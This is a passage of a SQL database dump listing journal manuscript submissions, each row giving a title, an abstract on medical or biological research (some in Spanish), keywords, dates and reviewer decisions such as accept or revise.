improvement in terms of pain and disability but the improvement in Group B was more as compared to improvement in Group A.','Physiotherapy, Intraarticular, OA',3300,NULL,'2020-03-03',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3513,4594,86,0,'ipaom-20-3513','alternate by pass internatonsal sumit',NULL,15,0,NULL,'Background: \r\nMethods: \r\nResults: \r\nConclusion: ','press intrnational with the ',1639,NULL,'2020-03-04',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','Send for revision',0,NULL,NULL,4,0,0,0,NULL,0),(3519,4600,667,0,'iptb-20-3519','The Effect of Intravitreal Injection of Avastin for Neovascular Age – related Macular Degeneration',NULL,14,0,NULL,'To report the short-term safety, biologic effect, and a possible mechanism of action of intravitreal bevacizumab in patients with neovascular age-related macular degeneration (AMD).\r\n76 patients were selected in this study. Patients received intravitreal bevacizumab (1.25 mg) on a monthly basis until macular edema, subretinal fluid (SRF), and/or pigment epithelial detachment (PED) resolved. And then they  evaluated by nonstandardized Snellen visual acuity (VA) and complete ophthalmic examination.\r\nIn results no significant ocular or systemic side effects were observed.\r\nThe mean visual acuity difference compared to measurements in before , one, three , and six months after the treatment. Intravitreal bevacizumab acutely improved VA and reduced central macular thickness in wet AMD. Ultrasound imaging revealed that BFVs decreased in all retrobulbar arteries, suggesting that after local diffusion, bevacizumab exerts a short‐term regional effect. Bevacizumab might therefore induce hypoperfusion of the whole eye, which may correspond to a vascular side‐effect.',' ',3334,NULL,'2020-03-05',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3522,4604,45,0,'iphsj-20-3522','FREQUENCY AND LEVEL OF DISABILITY AMONG PATIENTS WEARING COMPLETE DENTURES',NULL,14,0,NULL,'Background: \r\nTemporomandibular joint disorder (TMD) is a collective terminology which involves the masticatory musculature, the temporomandibular joint or both. Temporomandibular joint disorders are fairly common place occurrences. Complete denture wearers have greater signs and symptoms of mandibular disorder than the subjects with natural teeth. The objective of the study was to find out the frequency and level of disability among patients wearing complete dentures. \r\nMethods: \r\nIn this study, a total of 100 complete denture wearing patients participated. Patients with any previous maxillofacial injury, trauma and below the age of 40 were excluded. Simple convenient sampling was used to collect all the data. \r\nResults: \r\nA total of 100 complete denture wearing patients participated in this study. The study included 50 (50%) males and 50(50%) females with and average mean age of 57.68. Results showed that among 100 participating patients wearing complete dentures, 30(30%) faced no disability whereas 49(49%) faced minimal disability, 18(18%) faced slight disability and only 3(3%) faced moderate disability. \r\nConclusion: \r\nThe study concluded that frequency and level of disability was variable among patients wearing complete dentures from minimal to moderate. Many of the complete denture wearing patients experienced more than one clinical symptoms of temporomandibular joint disorder.','Temporomandibular Joint Disorder, Complete Denture, Maxillofacial Injuries',643,NULL,'2020-03-05',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3529,4611,91,0,'ijddr-20-3529','In silico identification of small molecules as novel coronavirus protease enzyme inhibitors',NULL,14,0,NULL,'The 2019 novel corona virus is one of the emerging threats to the human civilization. Because of the absence of appropriate treatment protocol for 2019 novel corona virus, different methodologies are being tried in China, including drug repurposing.  Recently discovery revealed the structure of novel corona virus main protease enzyme containing HIS41 and CYS145 amino acid residues present in catalytic domain, play crucial role in viral reproduction.  Therefore, successive inhibition of Protease enzyme through a small molecular chemical analogue can be an effective approach to prevent the 2019 novel corona virus infection. In the present study, undertaking virtual screening approach-based screening of small molecule library was performed. N-napthalen-1-yl methyl-2’-[3,5-dimethoxybenzamido]-2’deoxy-adenosine was identified as a small molecule showing satisfactory binding with this main protease enzyme. A 100 ns molecular dynamics confirms the stability of main protease-ligand complex. \r\n',' Novel corona virus, catalytic protease enzyme, Molecular docking and Molecular dynamics, N-napthalen-1-yl methyl-2’-[3,5-dimethoxybenzamido]-2’deoxy-adenosine.',3337,NULL,'2020-03-05',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3531,4615,277,0,'ipadm-20-3531','Trastornos funcionales digestivos del lactante',NULL,14,0,NULL,'Los trastornos funcionales digestivos en el lactante son un conjunto de sintomatología gastrointestinal de larga evolución que no son debidas a anomalías estructurales o a nivel bioquímico. Esto interfiere con la calidad de vida tanto del lactante como de sus familiares, por lo que es una de las consultas más frecuentes en pediatría. Por tanto, en un consenso se revisaron los Criterios de Roma, utilizados para el diagnóstico, en el 2016 actualizaron los criterios tanto en niños como para adultos; para fines prácticos se conocen como Criterios pediátricos Roma IV. Se dividen en dos grupos, menores de cinco años y en niños de cuatro a 18 años. En esta revisión nos centraremos en aquellos que afectan a los lactantes. De los principales trastornos gastrointestinales podemos mencionar; cólico del lactante, la disquecia del lactante, la regurgitación del lactante, el síndrome de rumiación del lactante, síndrome de vomito cíclico, la diarrea y el estreñimiento funcional. Los tratamientos varían dependiendo de la sintomatología gastrointestinal y la edad.','Consenso, lactante, cólico, vomitos.',2805,NULL,'2020-03-06',NULL,'Submitted',2,NULL,'2020-05-02',NULL,1,1,'0','Publish this paper',0,NULL,NULL,NULL,0,0,0,NULL,0),(3532,4616,277,0,'ipadm-20-3532','Quiste Hepático: A propósito de un caso',NULL,2,0,NULL,'Los quistes hepáticos simples de origen no parasitario, es una patología poco frecuente y son raramente diagnosticados en los adultos, constituyen el 5 a 10% de los quistes en la población general, de estos el 92% ocurre en pacientes mayores de 40 años y mayor se encuentran en mujeres con relación de 4:1. Muchos tratamientos se han propuestos para el manejo del quiste hepático sintomático e incluyen aspiración, aspiración con aplicación de agentes esclerosantes, resección con destechamiento del quiste. El abordaje mínimamente invasivo es el preferido. En este articulo hablamos de una paciente con sintomatología abdominal superior de ocho años de evolución manejada como colecistitis crónica calculosa sin resolución y mejoría de su sintomatología en un centro de salud de su localidad, se recibió y se evaluó encontrando al examen físico una masa a la palpación  en cuadrante superior derecho, que sobresale aproximadamente 5 centímetros debajo del reborde costal, de forma ovoide, consistencia firme, de 10 cm x 9cm x9 cm de diámetro doloroso a la palpación profunda, no móvil, contornos regulares, se le solicita tomografía que reporto imagen quística con tamaño aproximadamente de 11.9x14.8x15.2 cm de paredes delgadas a nivel hepático derecho e izquierdo con volumen aproximado de 1324 cc, con calcificaciones laminares en la pared, parece producir compresión de la vesícula biliar hacia la pared anterior. Se intervino y se le realizo una resección y destechamiento del quiste más la colecistectomía con un abordaje mínimamente invasivo vía laparoscópica, con evolución satisfactoria.','Quiste hepático, Cirugía laparoscópica, Cirugía mínimamente invasiva.',2805,NULL,'2020-03-06',NULL,'Submitted',2,NULL,'2020-05-02',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3539,4625,45,0,'iphsj-20-3539','The effectiveness of using antimicrobial urinary catheter in reducing morbidity, mortality and cost',NULL,14,0,NULL,'Background: making the decision about which UCs to select for use in critical care units is a critical decision because it does not only involve the financial cost, but there are different consequences of the unappreciated choices on the patients and the performance of the hospital. The literature offers significant research papers concerned with the use of UCs, but there is a paucity of research studies that are concerned with comparing between silver and silicon catheters in terms of costs, morbidity and mortality.\r\nObjective: to examine the effectiveness of using AM-UCs in reducing morbidity, mortality and cost. This will be achieved by completing a systematised review of ten different research papers selected upon the inclusion criteria list.\r\nMethods: The researcher used a systematised review of existing literature concerning the use of silver and silicon catheters in ICUs. A scoping search strategy of different databases has been adopted (Medline, CINAHL, ScienceDirect, Google Scholar, British Nursing Index, and Google). As a result of a pre-determined inclusion and exclusion criteria list, ten different articles were selected. The CASP tool has been selected to assess the methodological quality of the selected studies and thematic analysis was used to synthesise the findings for the purpose of discussion.\r\nFindings: the review found that although the matters of morbidity, mortality and cost have concerned a few authors in the selected papers, many of the selected papers were focusing on the comparison between silver and silicon UCs in terms of the usage and the interventions related to that usage. Additionally, as a result of the thematic analysis and comparing the findings with the literature it was suggested that there are further factors which are:\r\nô°€ Whether AM-UCs are more useable when compared to standard UCs in ICU.\r\nô°€ Whether the use of an AM-UC is cost effective.\r\nô°€ Whether AM-UCs are associated with lower rates of morbidity and mortality when\r\ncompared to standard UCs in patients in ICU.\r\nConclusion: the current literature did not provide enough information to prove which catheter could be more effective – silver or silicon. The researcher suggested further empirical research should be conducted to compare between both types and generate more findings.',' Keywords: antimicrobial urinary catheters, intensive care, cost, morbidity and mortality, silver, and silicon',2800,NULL,'2020-03-07',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3546,4635,277,0,'ipadm-20-3546','NEURODEGENERACIÓN ASOCIADA A PANTOTENATO QUINASA. REPORTE DE CASO Y REVISIÓN DE LITERATURA.',NULL,2,0,NULL,'La neurodegeneración por acumulación cerebral de hierro es un grupo heterogéneo de enfermedades raras, devastadoras y potencialmente mortales, secundarias a la acumulación focal de hierro en el cerebro. Caracterizados por disfunción motora progresiva, que conduce a la discapacidad mental y muerte prematura. El 50% de los casos son atribuibles a neurodegeneración asociada a Pantotenato Quinasa (PKAN). \r\nPresentamos el caso de una paciente femenina de 9 años que inició con distonía y rigidez generalizada, con signo típico de “ojo de tigre”en las imágenes ponderadas en T2 en Resonancia Magnética (RM). No se realizó estudio genético molecular por no disponer en el país. Por características clínicas e imagen se concluyó se trata de PKAN.',' Enfermedades neurodegenerativas, Hierro, Déficit de pantotenato quinasa asociado a neurodegeneración, Pediatría',2805,NULL,'2020-03-07',NULL,'Submitted',2,NULL,'2020-05-22',NULL,1,1,'0','Accepted ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3547,4638,639,0,'ipfs-20-3547','Endo parasitc faunas of eight fresh water fishes in Edo state, Nigeria',NULL,17,0,NULL,'ABSTRACT\r\nParasites of fish constitute one of the major problems to fish health. Parasites of fish have been a great concern since they often bring about a host of disease condition in fishes.  This study profiled the parasitic faunas of seven fresh water fishes in Edo state (Ikpoba River, Ogba River, Ujiogba River, Ilushi River, Obe River, Niger River and Osomegbe River).  . Members of three orders (Lepidosirenformes, Siluriformes and Polyteriformes), eight families (Protopteridae, Clariddidae, Channiddae, Polypterididae, Melapteridae, Clarotidae, Cichlidae and Lorcariidae) and fourteen genera were examined.  The study had an overall prevalence of 25.34%. The highest prevalence of fish parasitic infection was recorded in Niger River along Agenebode. The most infected fish species was Clarias anguillaris (60%). The helminth taxa (nematodes) had the highest prevalence of parasites (65.50%). The largest number of parasites isolated were Camallanus cotti (27.0%), Procamallanus laevionchus (16.4%) and Clinonostomum marginatum (13.1%). The overall prevalence of parasites was higher in male fish specimens (15.30%) than in female fish specimens (10.64%). The need to inculcate proper monitoring of anthropogenic activities in and around our aquatic environment is necessary.\r\n\r\n',' Edo state, Endo parasite,fresh water faunas, Anthropogenic acitivites, Nematodes, ',1773,NULL,'2020-03-08',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','I accept this article to publish in this journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3548,4641,91,0,'ijddr-23-3548','Synthesis, Characterization, In-Vitro Activities of Levetiracetam  Schiff Base Derivative and its Metal Complexes',NULL,14,3,NULL,'This research work is an effort to synthesize some metal complexes of Fe, Ag, Cu Zn, Sn and \r\nCo with the Imine ligand. The ligand containing imine functionality was synthesized by reacting \r\n3-nitro Aniline with vanillin. Imines are biologically active compounds. By the addition of \r\nmetals enhances their biological activity. Newly synthesized functionality was determined by \r\nFTIR and 1H NMR. Agar well diffusion method was used for antibacterial screening against \r\nStapylococus aureus, pseudomonas euroginosa and escheria coli while for antifungal screening \r\nagar tube dilution method was used against candida albican, Asperagilus nigar. Antioxidant \r\nscavenging activity also analyzed from ligand and related metal compounds. MTT calorimetric \r\nassay was performed against HeLa cell lines that confirm the antitumor potential of ligand and \r\ntheir related compounds. Metal complexes of compounds shows greater activity than ligand. The \r\ncompounds can be screened for more biological activities on further studies.',' Levetireacetam, metal complexes, Spectral characterization, antibacterial, \r\nantifungal, antioxidant, anticancer activity.',3298,NULL,'2020-03-08',NULL,'Submitted',15,NULL,'2023-05-11',NULL,1,1,'1',NULL,0,NULL,NULL,4,0,0,0,NULL,0),(3551,4584,45,0,'iphsj-20-3551','INCIDENCE OF DE QUERVAIN’S TENOSYNOVITIS IN COMPUTER OPERATORS',NULL,14,0,NULL,'Background\r\nDe Quervain’s tenosynovitis is an inflammatory disease in which the pain is felt over the radial border of the wrist especially in the thumb with the ulnar deviation of the wrist. The objective of the study was to find out the incidence of De Quervain’s tenosynovitis in regular computer operators.\r\nMaterials and Methods\r\nEach participating person among the 147 regular computer operators was examined for the Finkelstein’s Test in order to diagnose the De Quervain’s tenosynovitis.  Along with this, a wrist pain questionnaire was asked to be filled in order to check the prevalence of wrist pain in regular computer operators.\r\nResults\r\nAmong 147 regular computer operators, there were 74(50.3%) males and 73(49.7%) females with a mean age of 22.44±1.81 years. Among 147 participating regular computer operators, 99(67.3%) showed Finkelstein’s test positive whereas 48 (32.7%) showed the pain in Finkelstein’s test as being negative.\r\nConclusion\r\nIt is concluded that the incidence of De Quervains Tenosynovitis among the regular computer operators on the basis of Finkelstien Test was quite high.','De Quervain’s Tenosynovitis, Finkelstein’s Test, Prevalence, Wrist Pain',3273,NULL,'2020-03-09',NULL,'Submitted',2,NULL,'2020-05-12',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(3562,4659,45,0,'iphsj-20-3562','  Nurses’ Perspectives on Causes and Barriers to Reporting Medication Administration Errors in Saudi Arabia',NULL,14,0,NULL,'\r\nPoor patient safety in health systems is the third most common cause of death globally, behind cardiovascular diseases and cancer (Makary & Daniel, 2016). Medication administration errors (MAEs) are responsible for at least one death every day and injure about 1.3 million people each year in the United States alone. It is estimated that more than 250,000 deaths per year are attributable to medication errors (Makary & Daniel, 2016). Globally, the estimated cost of MAEs is about US $42 billion annually (WHO, 2017). An MAE is operationally defined as:\r\n“Any preventable event that may cause or lead to inappropriate medication use or patient harm while the medication is in the control of the health care professional, patient, or consumer. Such events may be related to professional practice, health care products, procedures, and systems, including prescribing, order communication, product labelling, packaging, and nomenclature, compounding, dispensing, distribution, administration, education, monitoring, and use” (National Coordinating Council for Medication Error Reporting and Prevention [NCCMERP], 2015).\r\nMedication errors can be grouped into three categories: prescribing, dispensing, and administration (Chiang & Pepper, 2006). While the prevalence of these errors differs from one facility to another, the general trend is that most errors are related to medication administration (Covell & Ritchie, 2009).  \r\nPatient safety is a core skill promoted among all health professionals and in all healthcare organizations (Kachalia & Bates, 2014). The intention of safety in health care organizations is not only to keep patients safe, but also to ensure the safety of staff as well. Medication errors constitute a critical safety concern for healthcare providers in the entire healthcare continuum (WHO, 2016). Many studies have investigated the burden of MAEs in healthcare systems throughout the world (Al-Shara 2011). MAEs increase treatment costs and hospitalization periods, aside from increasing patient rates of mortality and morbidity in some situations (WHO, 2016). However, there is insufficient data about MAEs in Saudi Arabia, and in Middle Eastern countries generally. One report indicates that there were 1,356 cases reported in 2013, but the true prevalence is undoubtedly far higher than the number of reported instances (Mohammed, 2014).\r\nSeveral studies have identified that the main barriers that prevent nurses from reporting are organizational ones concerning reporting systems, culture (i.e. ‘blame culture’), and management behaviour; and personal and professional factors, such as fear and accountability (Vrbnjak, Denieffe, O’Gorman, & Pajnkihar, 2016). Interestingly, nurses unanimously believe that disclosing medication errors to the patients and the hospital management is the right thing to do (Mayo & Duncan, 2004), but in practice most nurses rarely report such mistakes when they occur (Peyrovi, Nasrabadi & Valiee, 2016). Reasons cited by nurses for this theory-practice gap include their fear of legal liability, the possibility of their practice license being revoked, the possibility of distressing patients, and loss of privileges and reputation (Jember et al., 2018; You et al., 2015). Force et al. (2006) showed that the fear of retribution, professional humiliation, and other punitive actions are responsible for poor error reporting. A study conducted in US showed that a lack of time or the perception that reporting medication errors is too time-consuming and fear of repercussions prevented nurses from reporting medication errors (Rutledge, Retrosi, Osrowski, 2018).\r\nIn Malaysia a professional focus on the individual rather than on the system prevented some nurses from reporting medication errors, but the same study also showed that medication errors that were deemed serious were more likely to be reported compared to errors that were perceived as harmless (Samsiah, Othman, Hamshed, & Hassali, 2016). Interestingly, some of the participants in the study admitted that they valued patient safety, and hence were not afraid of any punitive measures and punishments should they report medication administration errors, although this could be due to social desirability bias in nurses’ responses, as the study used personal, face-to-face interviews.\r\nPrevious studies conducted in the Middle East revealed that fear of punishment and reprimand and blaming of individuals instead of the system were major deterrents to nursing reports of medication errors (Peyrovi et al., 2016; Soydemir, Intepeler, & Mert, 2017). In Saudi Arabia, previous studies revealed the following themes on barriers to reporting medication errors amongst nurses: fear of being blamed, fear of punishment, and administration response; potential publicity of the medication error; lack of time due to heavy workload, and complexity of work (Mohammad, Aljasser, & Saisdhar, 2016; Alanazi, Alhammad, & Hussein, 2017; Banakhar, Ambosi, Asiri, Banjar, & Essa, 2017). MAEs have significant and wide-ranging impacts on health care providers themselves as well as patients and hospitals in general.\r\nIt is essential to understand the difficulties associated with disclosing MAE mishaps in Saudi Arabia in order to avoid other potential errors and near misses that could adversely affect patients. This study helps filling this gap in knowledge and contributes towards professional discourse and policy decision-making to improve medication safety in Saudi Arabia. Therefore, the purpose of this research is: (1) To investigate the barriers to MAE reporting among nurses; and (2) To identify the reason for MAE occurrence.',' Nurses, medication, Errors, reporting, barriers',456,NULL,'2020-03-10',NULL,'Submitted',2,NULL,'2021-10-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3563,4660,45,0,'iphsj-20-3563','Effect on skin microflora in hygienic bathing of patients with chlorhexidine gluconate disinfectant and non-rinse product',NULL,14,0,NULL,'Objective: The skin is one of the largest reservoirs of microorganisms (MO) in the human body, some of which are potential agents of Health care-associated infections (HAIs). The purpose of the present study is to provide a comparative microbiological analysis of the skin surface in patients before and after the application of the dry-bath method with an antiseptic agent – chlorhexidine gluconate (CHG) and with non-rinsing detergents. The method is innovative for the Republic of Bulgaria and has not been imposed and has not yet been implemented as a routine practice in hospitals. The purpose of this study is to demonstrate the bacterial contamination of the skin after a second day of hospital stay and the need to use agents containing sanitary disinfectant for patients.\r\nMethods: Methods based on bacterial culture using swabs were used. These are one of the most commonly used methods for isolating and identifying aerobic and optional anaerobic MO that are part of the skin flora. \r\nResults: The following bacteria were isolated in the microbiological examination of the skin surface: Coagulasenegative methicillin sensitive staphylococci (CNMSS), Coagulasenegative methicillin resistant staphylococci (CNMRS), Enterococcus, Methicillin-sensitive S. aureus (MSSA), Bacillus spp, Gram /-/ bacteria, Streptococcus α-hem, Corynebacterium.\r\nConclusion: The present studies demonstrate a significant decrease in microbial flora after CHG administration and a slight to no effect after applying non-rinsing detergents. The research team\'s recommendations are to apply products with CHG from nurse for hygiene bathing of patients by the method of \"dry bathing\" at risk of HAIs.\r\n',' Microbiological Analysis; Skin Microbiome; Chlorhexidine Gluconate; Without Rinsing; Washing Without Water',694,NULL,'2020-03-10',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3566,4662,73,0,'ipjnn-20-3566','Observation on posterior column sensations as predictor of neurological recovery in spinal cord injury patients',NULL,14,0,NULL,'Understanding and establishing prognosis at the earliest is central to delivery of effective and efficient rehabilitation following Spinal cord injury.We try to evaluate the role of preservation of posterior column in final prognosis of SCI.\r\nAims and Objectives\r\nTo study importance of posteriorcolumn sensation sparing at initial presentation in SCI for their neurological recovery.\r\nTo compare prognostive values of posterior column tract and spinothalamic tract sparing in SCI.\r\nMaterials and Methods\r\nA prospective observational study was conducted in Department of Physical medicine and Rehabilitation in SVNIRTAR,Odisha,India from july 2017 to 2018.Sample size was 55 and incomplete spinal cord injuries in ASIA B-E , neurological level C5 and below,age >10 yrs were included.Patients were classified into 2 groups of posterior column sparing and spinothalamic sensory sparing.Patients were evaluated using ASIA scale,Neurological examination by ISNCSCI,and functional improvement by SCIM III.2 groups were reassessed after 6,9,12 months.\r\nRESULTS\r\nPure  posterior column sensory sparing patients were 6 out of 55 and 50% belonged to C6 vertebral level.All 6 remained in ASIA B after 1 yr while 9 of ASIA B converted to C,10 from ASIA C to D and 1 from ASIA D to E.There were significant changes in motor and sensory scores of 2 groups which were statistically significant.SCIM score in Group A increased by 9.7 points after 1yr while there was 31.1 increase in Group B.\r\nConclusion\r\nPure posterior column sensory sparing in spinal cord injury is poor prognostic indicator for neurological recovery when compared to spinothalamic sparing patients.\r\n',' SPINAL CORD INJURY,POSTERIOR COLUMN SENSATION,SCIM III',341,NULL,'2020-03-10',NULL,'Submitted',4,NULL,'2020-06-10',NULL,1,1,'0','accept after minor correction!',0,NULL,NULL,1,0,0,0,NULL,0),(3568,3833,45,0,'iphsj-20-3568','Antibacterial Cellulose Acetate Microfibers Containing Pyridine Derivative Complexes ',NULL,14,0,NULL,'Pyridine (L1) and 2,4-dimethylpyridine (L2) halide complexes of the type of [ML2X2] (M: Ni (II), Cu (II), Pd (II); X: Cl, Br) were synthesized and were characterized via FT-IR and 1H-NMR techniques. The viscosity and conductivity measurements for CA polymer solution in acetone were performed. The complexes containing cellulose acetate (CA) microfibers were obtained via electrospinning technique. The structures of the electrospun microfibers were investigated via FT-IR. The morphologies of the microfibers were investigated via FE-SEM and through SEM images their average diameters were determined. Modified polymer fibers were investigated via EDX. After dissolving 0.02 g of the electrospun fibers in 10 mL solvent mixture of acetone, dichloromethane (DCM) and dimethylsulphoxide (DMSO), their XRD spectra were scanned via CuKα radiation at 2θ = 10o – 80o. Antibacterial studies of the complexes and fibers were investigated against the bacteria strains E.coli and Methyciline Resistant Staphylocaucus aureus via disc diffusion, broth microdilution and JIS L 1902: 2008, Testing method for antibacterial activity of textiles. Different levels Antibacterial activity was observed for all complexes and fibers.','Electrospinning, microfibers, antibacterial, pyridine complexes, cellulose acetate',3300,NULL,'2020-03-11',NULL,'Submitted',4,NULL,'2020-05-12',NULL,1,1,'0','Rejected',0,NULL,NULL,2,0,0,0,NULL,0),(3573,4669,73,0,'ipjnn-20-3573','	Vitamin B12 deficiency associated with massive pulmonary embolism.',NULL,2,0,NULL,'Summary \r\nObjective: To describe the clinical features and neuroradiological findings of rare complication of vitamin B12 deficiency, a massive pulmonary embolism. \r\n\r\nMethod: Case report of a massive pulmonary embolism treated with thrombolytic therapy and heparin anticoagulation during severe vitamin B12 deficiency. The role of vitamin B12 in the pathogenesis of thromboembolic disorder is discussed. \r\n\r\nSetting: University and tertiary hospital. \r\n\r\nConclusion: Vitamin B12 deficiency may be associated with life-threatening complications if not diagnosed and treated promptly. \r\n\r\n','Key words: Vitamin B12 deficiency, massive pulmonary embolism, hyperhomocysteinemia, posterior column of spinal cord, radiology of vitamin B12 deficiency ',341,NULL,'2020-03-11',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3575,4672,73,0,'ipjnn-20-3575','Deep coma due to severe multiple sinus thromboses rescued by intravenous heparin and pulse steroid',NULL,2,0,NULL,'Deep coma due to severe multiple sinus thromboses rescued by intravenous heparin and pulse steroid\r\n\r\nHassan A. Alayafi*, MD;   Mukki Almuntashri**, MD; Hussain Jawad MD;**\r\n\r\nNeurology Department, King Abdulaziz Medical City, Riyadh, Saudi Arabia\r\nNeuroradiology Department, King Abdulaziz Medical City, Riyadh, Saudi Arabia\r\n\r\n\r\nBackground . Sinus thrombosis is readily diagnosed with either brain CT venogram or MRI venogram. However, diagnosis can be challenging particularly in comatose patients. Deep cerebral vein thrombosis can be life threatening if not diagnosed and treated at onset. Treatment has risk of hemorrhagic complication, yet the only indication of anticoagulation in the presence of hemorrhagic stroke is cerebral sinus thrombosis.\r\nMethod. We report a 62-year-old lady presented in deep coma due to severe multiple dural sinuses and deep cerebral vein thrombosis. Treated with intravenous heparin  and  pulse steroid, she completely recovered cognitive and motor functions. She maintained her function eight years later. \r\nTo the best of our knowledge this is the first case in the literature with severe multiple sinus thrombosis successfully treated with heparin and high dose IV steroids.\r\n\r\n\r\n\r\nConclusion. Early, diagnosis and treatment of deep cerebral vein thrombosis even if the patient is comatose, gives real chance of recovery.  \r\n\r\n',' coma, venous thrombosis, steroid, heparin ',338,NULL,'2020-03-12',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','You can publish the article with small change',0,NULL,NULL,NULL,0,0,0,NULL,0),(3577,4674,85,0,'iphspr-20-3577','The Perception of Population and Health Professionals regarding the National Immunization Program of Timor-Leste',NULL,14,0,NULL,'Abstract: \r\nThe 2017 National Immunization Program (NIP) provide vaccination against tuberculosis, diphtheria, tetanus, polio, pertussis, hepatitis B, invasive Haemophilus Influenzae serotype b disease, measles, rubella and human papillomavirus infections. The Timorese health system is faced with the search for a model of the National Health Strategic Plan (NHSP 2011-2030) work plan for its health system, which is adequate to the current and future needs of its population.  Vaccine can save more lives and prevent more cases of diseases than any medical treatment. In addition to preventing these deadly diseases, vaccination of newborns and expectant mothers, integrated into programs such as Timor-Leste Expanded Vaccination Program (EVP). The overall objective of study characterizes the perception of the population and health professionals about the NIP under of this investigation.\r\nMethods:\r\nTwo methods of study were used: the method of quantitative research of observational and descriptive type, through the application of several questionnaires (questionnaire for the population, and questionnaire for health professionals) and method of qualitative research using the focus group techniques. \r\n1.1 Study population, the study was carried out among an age between 18-25 years old, 26-35 years old, and 36-45 years old who attended the health centers, health post level and hospitals of the municipalities that accompanied infants and children to vaccine in accordance with current vaccination schedule of the Ministry of Health of Timor-Leste. \r\n1.2 Focus group session, through a structured interview in a focal group of population between father, mother of baby and child in health professionals of middle level. We explore possible determinants of perception and knowledge to deliver the vaccines. In this interview, elements that were observed in previous qualitative studies were, widely discussed. In general, parents assessed the health of children as the most relevant to vaccinated, followed by the balance between the risks of the disease, and prevention in public health. \r\nResults: \r\nIn the quantitative questionnaires were interviewed (n=212: 54%) of population and health professionals (n=185: 46%) total (n=395: 100%) who was born in Timor-Leste. The average age of health professionals was (n=54 29%) of the respondents and ordinary population was (n=64:31.4%) of respondents comprises, with the education cycle 9 years of schooling (n=34:16.0%). A quarter of respondents said vaccines serve to «protect infectious disease». Two quarters that it was explained to that the vaccine was serving in the vaccine act. The perception of the population about the NIP, that has a good knowledge of the vaccination (n=204: 96.2%) who said yes and (n=8: 3.8%) said had no idea of the subject. About half or most of the population had accessed to vaccines (n=202:95.3%).Whiles those who stated  that vaccine was easy  and effective (n=197: 92.9%), those who  said have heard only (n=15:7.1%) and those who didn´t know about immunization were informed of the vaccination, this is meant  only small number of people who didn´t access to vaccination information in health centers. Overall, to raise awareness of the population  toward NIP  we should  take  geographic, historical, political, socioeconomic, cultural and epidemiological  factors and need to understand the implications of this context of population, about the vaccination program, in order to delineate the best strategic responses, thereby bringing value to the populations and a constructive value of the National Health System of Timor-Leste. \r\nConclusions: \r\nThe results presented contribute to development, strategic planning and action of health administration and management policies, especially the promotion of vaccination in the Timorese community, reflecting their characteristics and needs and consequently, for the well-being of the population. Population in general and in particular to mother infants and children of 0 years of age can be protected from infectious diseases. The information obtain from the health population about the immunization are taken for granted. Less coverage on vaccination or discontinuation of immunization in the successive years due to the organization capacity of health services, with the minimum movements of vaccination promotion, can have serious consequences even in developed countries, compare to developing countries in the 21st century as the case of Timor-Leste. However, with the goodwill and responsibility of health professionals and the support of health managers in the innovation program of health technologies considered to be an opportunity to improve the quality of health services. \r\n',' Immunization, population, health professionals, perceptions, Timor-Leste',3282,NULL,'2020-03-12',NULL,'Submitted',2,NULL,'2020-08-03',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3579,4677,971,0,'ipaclr-20-3579','Craniofacial morphology of HIV infected adolescents undergoing HAART',NULL,14,0,NULL,'Abstract:\r\n\r\nContext and Aim: The adverse effects of highly active anti-retroviral therapy (HAART) started to be identified through compromised physiologic functions in various systems and organs much later after its advent in the 1990s. Several studies and various authors have illustrated the therapeutic effects of the drug therapy while simultaneously leading to a plethora of associated adverse effects and chronic systemic diseases leading to changes in the craniofacial growth and development, however, there has been a relative dearth of such studies on the HIV infected/AIDS patients. The present study was planned to analyze the craniofacial morphology in child patients and adolescents by evaluating the skeletal cephalometric profile of the HIV infected patients in this age group and comparing them with the normo-reactive controls.\r\n\r\nMaterials and Methods: The present study was a planned case-control study which included 25 HIV positive adolescent patients aged between 10 and 18 years (the study group) who were compared with 25 age and sex matched normo-reactive adolescent controls (the control group). All the patients had been HIV infected via vertical transmission with positive serology confirmed in 2 different tests and had been kept on HAART since they were born. The diagnostic aids used for orthodontic documentation included facial photographs, digital orthopantomographs (OPGs), lateral tele-radiographs and study models.\r\n\r\nStatistical Analysis Used: The data was analyzed by using the Epiinfo software while Bartlett test was performed to verify the homogeneity of the variances (p = 0.05). For variables without a normal distribution, Wilcoxon test was applied. To determine the reliability of the agreement between 2 measurement methodologies, intra-class correlation coefficient test was used for the conduct of statistical analysis. p<0.05 was considered statistically significant.\r\n\r\nResults: In the 10-to-12 year age group, positions of maxilla and mandible in the study group were found to be retruded in relation to the skull base when compared with the control group. Also, the growth pattern in the study group was seen more horizontal with effective size of the bone bases increased than as seen for the control group. In the 13-to-15 and 16-to-18 year age groups, maxilla was retruded slightly while the mandible was found to be protruded in the study group in relation to the skull base than as compared with the control group. Also, the former had a decreased effective size of the maxillary bone with an increased effective size of the mandible than the latter group in the 13-to-15 year age group, though, the effective mandibular size was similar between the 2 groups in the 16-to-18 year age group. Furthermore, in the 13-to-15 year age group, growth patterns were almost similar in both the study and the control groups while the growth pattern was more horizontal in the study group than in the control group in the 16-to-18 year age group.\r\n\r\nConclusion: The results of the present study led to the conclusion that most of the measurements in the HIV-infected adolescents were found to be similar to the ones obtained for the normo-reactive controls, although, the study results highlighted the significance of further studies to be conducted in this regard, 